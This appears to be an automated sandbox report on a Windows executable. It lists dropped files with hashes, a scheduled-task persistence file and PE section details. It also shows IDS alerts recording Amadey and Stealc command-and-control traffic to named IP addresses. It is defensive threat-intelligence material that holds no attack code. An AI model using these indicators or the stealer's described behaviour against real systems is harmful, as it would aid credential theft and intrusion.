Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJEBKKEGDBF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1943040
Entropy (8bit):	7.9488365282307925
Encrypted:	false
SSDEEP:	24576:8YUyqDQZf6VOw2Ti4fDZQtQiAp6XbGLOr8DnD0e2AemsOdq4961TNLD8Uf+N1JTY:dU/QZf6Vyiop6XWC0nDuPcqEwTJ0EW
MD5:	F324CF036831114E3C8C681220CA0489
SHA1:	44BF59A5F94477316D0E410FAD8D2EA4B552A37D
SHA-256:	FD15D97C8FC88AA354C097D5E94D69AC2389E0383BAA7FB6FE32E56655B501ED
SHA-512:	68C0138AA66B76EC360BD775CB6DD2A80AA7D8E09159061B2C957B5BFF12641767AC38C92B293242B5219AB3ED0EFA423F1305F0B39E8372838A39DBEA5BA47C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L...........@.................................W...k.......D...................(hL..............................gL..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...sbjwtnei......1.....................@...vjdjgrsh.....pL.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJEBKKEGDBF.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4702158745965446
Encrypted:	false
SSDEEP:	6:5v7pWtXUhXUEZ+lX1CGdKUe6tE9+AQy0lB0Et0:V7pC4Q1CGAFD9+nVB0Et0
MD5:	497309038FA81FBAF6F53FFAAFB25E4C
SHA1:	440FE1EA6B26003B847FACC89C8B59995C33F253
SHA-256:	5AE2617C48D9C940DD2FAE34AC01F4D6B9BAAABAE5D36B806CB0701C5DD5F719
SHA-512:	7911D491EE0B12B7A30AAF250F85E84D4BAF85D3330452149F6F101074BC1DE1376C877F26B87888D432283F55F0E207F01DEC41631BCE6D9902F4ECE01B3C31
Malicious:	false
Preview:	....4&...W.N...7.O._F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................*.@3P.........................

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (755)
Category:	downloaded
Size (bytes):	760
Entropy (8bit):	5.116538573838414
Encrypted:	false
SSDEEP:	12:uGmT/VCYHCFCrHEj7Jr72TeknBHslriFTAYsSw7sZAnIIIIIII5wuCPXIwuGHHHJ:t4/cqGCrHEj7YT5BHslgT9lCuABuoB7p
MD5:	77905B1CF137DF682BB1DAC99A5CACAD
SHA1:	9E195E19EF7BC863CAC10567DE2DDE525A8EBB4D
SHA-256:	026C0412E79BC514735AFBAA535D71ABDFB93EFE8A57FB40D39A9C775635C3EF
SHA-512:	E671974EABA43CDF4BA492D30CBB93339E4F9387A827BBEF16537CC215E80648FF2CF16A6B93F74741A78B6AD0DB28842B633757272B56ED7F331FE547C241CC
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["wednesday season two","nba power rankings","microsoft outlook outages","gilbert road closures","nyt crossword clues","marblehead teachers strike","the earth tilted 31.5 inches","dr disrespect rumble"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.4352013904361
Encrypted:	false
SSDEEP:	3072:fjkXyPqO7UX1Hme9kZbs4Voc56SnXqwQ2i6o:f0yWFHrp4Voc56SnawQ8o
MD5:	A17433B6E7BB4FA2E3626140EB779BCF
SHA1:	C10D355AE576F5E1042DAA0C4457254E5B88B38B
SHA-256:	4A1AA13F3F3A7EDE24CB173B77A3172D3E2CFA834C334A65560F3A4BDC35DF4E
SHA-512:	28BF300FEB98DABAEC7EA7ECC4277C2259AE0FF0098B6FAE7ED733934AADC5510BCBACCDF6AB290F19BBEDE58474202A569A90C6B890DFC29ECE9F159423C666
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9445674713828955
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'818'624 bytes
MD5:	ded0eb089d3679972dcf011246f04abc
SHA1:	222c4fdea41b569389fa64ff718b5f9944b5faea
SHA256:	91c13e6200f741745516347b90adc8b5dea0c43f0b0163f6035570142a5153f6
SHA512:	eaf8e2c036574a001d77472d96b5af088bd1e4777229d504870e3d0743285374c223a9de93b2cecc9927eb8af3c039ab5a8be888ee82e9d0a63990025f7274d9
SSDEEP:	24576:JBrwfBXRRCbJKfQhKTaWfCMQK+KQVUiUnn1SzH3N0Rg1xg5IW6NC3+0wbj2sJ43t:JGpjCd1hqaWh+ei8n1K+Rg7Kl+00SF
TLSH:	6885333664C36338C94F62B5AC9FD16EEC74589C07E80E13C61D1BE5092367BAB86778
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7E0915AFDAh
setle byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007F7E0915AF52h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
movsd
add al, 00h
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	d17705f61f5e1841f0daa1ba6a400444	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	4a61ab553597cbccbee27535521350fc	False	0.796875	data	6.014804403638652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ad000	0x200	e3651baf581fc70cd22d4de859a716d5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
udalqcww	0x4f9000	0x1a3000	0x1a2200	22e0f573e66d9dbd8c3af6607b86f4fe	False	0.994636350896861	data	7.953507165419957	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bwsfqfzz	0x69c000	0x1000	0x400	eead22e37a308e9907abba7320cd01c3	False	0.7421875	data	5.905323882404526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69d000	0x3000	0x2200	bc6e1c0ae94f6b97c54a5f8ffd3b1bfd	False	0.0703125	DOS executable (COM)	0.8006653596502499	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69af54	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T01:41:03.517409+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50132	TCP
2024-11-26T01:41:13.235874+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-26T01:41:13.793223+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-26T01:41:14.115789+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-11-26T01:41:14.450180+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-26T01:41:14.580224+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-11-26T01:41:15.927842+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-26T01:41:17.031802+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-26T01:41:39.443630+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:41.572971+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:42.920451+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:44.192477+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:47.920332+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:49.024438+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:54.713555+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49937	185.215.113.16	80	TCP
2024-11-26T01:43:06.169458+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50125	185.215.113.43	80	TCP
